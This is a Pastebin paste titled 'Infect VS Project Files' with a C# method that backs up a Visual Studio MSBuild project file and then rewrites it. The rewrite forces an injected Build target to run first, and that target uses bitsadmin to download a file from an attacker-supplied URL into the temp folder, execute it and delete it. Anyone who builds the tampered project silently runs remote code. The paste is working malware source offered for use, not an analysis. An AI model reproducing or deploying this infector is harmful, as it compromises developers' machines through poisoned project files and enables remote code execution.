Advertisement
akaMeltDown

Infect VS Project Files

Jul 21st, 2020
1,416
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 2.20 KB | None | 0 0
  1.   #region eFunction
  2.  
  3.         private void CreateInfectedSLN(string Path, string Job, string rURL, string fName)
  4.         {
  5.             string vec0 = "<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">";
  6.             string pCall = "<Project ToolsVersion=\"14.0\" InitialTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">";
  7.             string vec1 = "<Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />";
  8.             string payload = "<Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\"/>^<Target Name=\"Build\">-<Exec Command=\"bitsadmin.exe /transfer " + Job + " " + rURL + " %temp%\\" + fName + "\">+<Output TaskParameter=\"ExitCode\" PropertyName=\"ErrorCode\"/>-</Exec>-<Exec Command=\"%temp%\\" + fName + "\">+<Output TaskParameter=\"ExitCode\" PropertyName=\"ErrorCode\"/>-</Exec>-<Exec Command=\"del %temp%\\" + fName + "\" >+<Output TaskParameter=\"ExitCode\" PropertyName=\"ErrorCode\"/>-</Exec>-<Message Importance=\"high\" Text=\"$(ErrorCode)\"/>-</Target> ";
  9.             string STR = File.ReadAllText(Path);
  10.  
  11.             if (File.Exists(Path + ".bk"))
  12.             {
  13.  
  14.                 File.Delete(Path);
  15.                 File.Copy(Path + ".bk", Path);
  16.                 File.Delete(Path + ".bk");
  17.                 File.Copy(Path, Path + ".bk");
  18.  
  19.                 payload = payload.Replace("^", "\n  ");
  20.                 payload = payload.Replace("-", "\n    ");
  21.                 payload = payload.Replace("+", "\n      ");
  22.                 STR = STR.Replace(vec0, pCall);
  23.                 STR = STR.Replace(vec1, payload);
  24.                 File.WriteAllText(Path, STR);
  25.                
  26.                 STR = "";
  27.             }
  28.             else
  29.             {
  30.  
  31.                 File.Copy(Path, Path + ".bk");
  32.                 payload = payload.Replace("^", "\n  ");
  33.                 payload = payload.Replace("-", "\n    ");
  34.                 payload = payload.Replace("+", "\n      ");
  35.                 STR = STR.Replace(vec0, pCall);
  36.                 STR = STR.Replace(vec1, payload);
  37.                 File.WriteAllText(Path, STR);
  38.                
  39.                 STR = "";
  40.             }
  41.         }
  42.         #endregion
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement